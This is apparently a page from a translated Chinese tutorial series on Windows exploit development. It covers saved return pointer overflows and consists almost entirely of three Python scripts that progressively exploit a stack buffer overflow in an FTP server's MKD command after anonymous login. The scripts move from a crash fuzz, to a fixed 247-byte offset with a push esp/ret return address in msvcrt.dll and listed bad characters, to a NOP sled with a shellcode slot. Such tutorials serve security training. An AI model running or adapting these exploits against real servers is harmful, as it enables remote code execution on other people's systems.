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[翻译]Windows Exploit开发系列教程第二部分：Saved Return Pointer Overflows
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发表于:
2015-12-31 21:27
12571
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[翻译]Windows Exploit开发系列教程第二部分：Saved Return Pointer Overflows
#!/usr/bin/python
import socket
import sys
evil = "A"*1000
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
#!/usr/bin/python
import socket
import sys
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------
evil = "A"*247 + "\x59\x54\xC3\x77" + "C"*749
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
#!/usr/bin/python
import socket
import sys
shellcode = (
)
#------------------------------------------------------------
# Badchars: \x00\x0A\x0D
# 0x77c35459 : push esp # ret | msvcrt.dll
#------------------------------------------------------------
buffer = "\x90"*20 + shellcode
evil = "A"*247 + "\x59\x54\xC3\x77" + buffer + "C"*(749-len(buffer))
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
connect=s.connect(('192.168.111.128',21))
s.recv(1024)
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS anonymous\r\n')
s.recv(1024)
s.send('MKD ' + evil + '\r\n')
s.recv(1024)
s.send('QUIT\r\n')
s.close
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